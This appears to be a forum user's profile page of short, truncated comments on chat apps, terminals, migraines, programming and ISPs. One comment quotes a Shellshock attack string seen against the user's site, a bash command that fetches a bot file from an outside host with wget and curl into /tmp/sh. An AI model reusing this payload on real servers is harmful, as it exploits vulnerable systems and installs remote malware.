Ayaz

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by Ayaz 11y ago
We have been using HipChat for the last two years for one of our two major products at work and have very recently moved to Slack for the other. While notifications on HipChat work most of the time, they are still very patchy. I personally
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by Ayaz 11y ago
I agree. For programming related use-cases, having multiple terminal windows can be very helpful. From a systems and networks administration perspective, I am not so sure, particularly when you can have simultaneous (SSH) sessions open to m
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by Ayaz 11y ago
With the exception of one or two, everybody was running terminals across multiple windows and not tabs. I spend considerable time on terminals on my Macs, but am a big fan of having a single terminal window with many tabs. I am curious whet
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by Ayaz 11y ago
They don't mention otherwise but do we know if the attack has happened again since 1 December?
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by Ayaz 11y ago
In the limited logs I've seen so far, I've seen IPs from both China and Russia.
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by Ayaz 11y ago
This was a very insightful read.
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by Ayaz 11y ago
Pakistan.
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by Ayaz 11y ago
Paternity leaves and the option to share leaves with a spouse are the way forward. I wish companies in the country where I work took a more liberal view towards leave policies.
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by Ayaz 11y ago
You are not alone!
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by Ayaz 11y ago
Yup. I consider SQLAlchemy heavy-duty. For light use, Peewee is extremely easy to use and quick to set up.
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by Ayaz 11y ago
It is a relief for me to know that I found out about it after reading a tweet about it on Twitter.
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by Ayaz 11y ago
The only thing I use, and pay, Evernote for is digitising printed receipts and similar documents, managing which otherwise I find troublesome. The document photo taking features which make taking pictures of receipts easier is pretty nice,
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by Ayaz 11y ago
Day of the Tentacle was one of the games I was crazy about as a teen. What a lovely game!
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by Ayaz 11y ago
What a powerful piece. I will die one day with all of those regrets if I don't do anything about it. Why does living have to be so hard?
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by Ayaz 11y ago
It's likely. I feel there's much more to it than meets the eye.
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by Ayaz 11y ago
I cannot help but wonder at the timing of this revelation, coming almost on the heels of Seymour Hersh's essay last week. It was shocking for me to read about the alleged scandal, but for many, it's hardly news.
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by Ayaz 12y ago
Ah, Free Pascal. It made me remember the first semester at my University where everywhere I looked I found Microsoft. I refused to do assignments and projects on Windows, preferring instead Linux (Slackware, then). In the first semester we
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by Ayaz 12y ago
I have felt that certain dairy products do trigger the migraine. However, milk itself doesn't cause it. I also drink milked-tea regularly without any headaches/migraines.
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by Ayaz 12y ago
Yes. Only, I have never been a habitual drinker of coffee. When I started drinking regularly for a short period, I stopped once I noticed the pattern. For me, cheese and chocolate, as well, triggers a migraine.
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by Ayaz 12y ago
Oh. I think I have a sensitivity to caffeine, because drinking coffee causes an onset of a migraine that I don't like when I'm writing code or managing systems.
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by Ayaz 12y ago
I saw a couple of these hurled against my simple site: "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehos
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by Ayaz 12y ago
Absolutely lovely advice! For me, it was tennis. I started playing and fell in love with it. It all began when I was working from home for a startup in another country. I would work and in the evenings, I would quietly slip out to the court
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by Ayaz 12y ago
That reminded me of the secret SMS app I made once for Symbian S60: http://tiliman.wordpress.com/rei-secretsms/ It even had a duress mode, in which you could type in a secondary pin to open the app under duress, but
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by Ayaz 12y ago
While it was down, I was noticing an extra 400ms latency in ping responses.
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by Ayaz 12y ago
Thankfully, it is back up. I just couldn't for the life of me stand all the silly, bloody tweets on Twitter trying very hard to be funny about the whole ordeal.
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by Ayaz 12y ago
Is this truly only an acquihire, or are they really looking into getting into the VPN business?
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by Ayaz 12y ago
At work, I get a lot of heat for being the one and only guy who is never around on the seat. It's turned into a favourite joke on me with a number of people. Despite that, I don't mind it one bit -- in fact, I joke about it myself
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by Ayaz 12y ago
I find that in most cases, for me at least, taking notes on a smart-phone instead is a reasonable middle way. Of course, I have to make sure I don't get distracted, but surprisingly, while taking notes on the phone, I don't feel t
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by Ayaz 12y ago
I was wondering: That page on SourceForge with the warning wasn't put up only yesterday, was it? Because, I could've sworn I came across that page several days ago (or even more) and when I saw people talk about the page allegedly
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by Ayaz 13y ago
A number of ISPs over here (PK) preposterously block gDNS (as well as OpenDNS). What's rather ironic is that they only block UDP requests to gDNS, and not TCP (`dig @8.8.8.8 google.com +tcp`). It's ludicrous, but that's how i

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